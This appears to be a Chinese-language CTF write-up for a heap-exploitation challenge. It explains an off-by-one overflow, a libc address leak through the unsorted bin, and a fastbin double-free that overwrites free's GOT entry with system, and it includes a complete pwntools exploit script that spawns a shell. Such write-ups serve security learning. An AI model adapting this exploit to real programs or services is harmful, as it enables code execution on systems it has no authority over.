-
off-by-one
-
double free,uaf
-
fast-bin-attack
函数功能:
-
add函数中有一个off-by-one溢出,可以修改下一个本数组的堆指针的最后一个字节,使其指向最后一字节为'\x00'的堆块
-
用off-by-one修改后,free这个unsortedbin堆块,然后显示其中的fd,得到libc基址
-
同理,用double-free构造fast-bin链,并且在got表上或者malloc_hook上找到一个合适的堆块,获得这个堆块,修改malloc_hook或者free-got。
坑:
题目说:部署环境是busybox,一种虚拟机。其中的libc不知道,所以one_gadget不知道。所以改__malloc_hook为one_gadget在本地可以跑通,但是打远程却跑不通。
所以只能修改free_got为system函数,然后free("/bin/sh")。我一直在烦恼为什么one_gadget不行,并且想装一个busybox,(相当于编译个linux源码安装)。于是问同学,他们也在苦恼,然后说改got表行不行啊。豁然开朗。
于是我在got表上找合适的堆块,一直找呀找,找了很久:我是这样找的:
x/8xg 0x601ff0
但是一直没找到,后来同学做出来了,我去问:他是这样找的:只要看4个字节就行了。细节啊!!!
x/8xw 0x601ff0
唉,到手的兔子,飞了:
from pwn import *
# p = process("./steak",env={"LD_PRELOAD":"./libc-2.23.so"})
#106.75.63.193 9705
# p = remote("106.75.63.193",9705)
p = process("./0gadget")
# context.log_level='debug'
context.terminal=['tmux','splitw','-h']
libc=ELF("libc.so.6")
def add(size,title,content,remark):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("note size: ")
p.sendline(str(size))
p.recvuntil("the title: ")
p.sendline(title)
p.recvuntil("the content: ")
p.sendline(content)
p.recvuntil("REMARK: ")
p.sendline(remark)
def delete(idx,remark):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("to delete: ")
p.sendline(str(idx))
p.recvuntil("REMARK: ")
p.sendline(remark)
def show(idx,remark):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("to show: ")
p.sendline(str(idx))
p.recvuntil("REMARK: ")
p.sendline(remark)
add(0xe0,'f'*0x70,'content','remark')#0
add(0xa0,'f'*0x70,'content','remark')#1 unsorted bin
add(0x68,'f'*0x90,'fffffff','ffffff')#2 这里0x90个a,最后的\x00会覆盖本堆块指针,使其等于#1堆块指针
# attach(p)
delete(2,'xxxxxxx') #释放#2堆块,但是实际释放的是#1堆块
# attach(p)
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("to show: ")
p.sendline(str(1))
p.recvuntil("note content: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78 #显示main_arena+88
print("libc_base:"+hex(libc_base))
libc.address=libc_base
# attach(p)
p.recvuntil("REMARK: ")
p.sendline('remark')
add(0x58,'f'*0x70,'fffffff','ffffff')#2
add(0x58,'f'*0x70,'fffffff','ffffff')#3
delete(1,'remark')#1 和 3指针相等
delete(3,'remark')
delete(2,'remark')#double free
system=libc.symbols['system']
# one_gadget=libc_base+0xf02a4
add(0x58,'f'*0x70,p64(0x601ffa),'ffffff')#1 指向free-got表的伪造堆块
add(0x58,'f'*0x70,'fffffff','ffffff')#2
add(0x58,'f'*0x70,'/bin/sh','ffffff')#3
# attach(p)
add(0x58,'f'*0x70,'f'*0xe+p64(system),'ffffff')#写入free-got为system
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("to delete: ")
p.sendline(str(3))#free("/bin/sh")
p.interactive()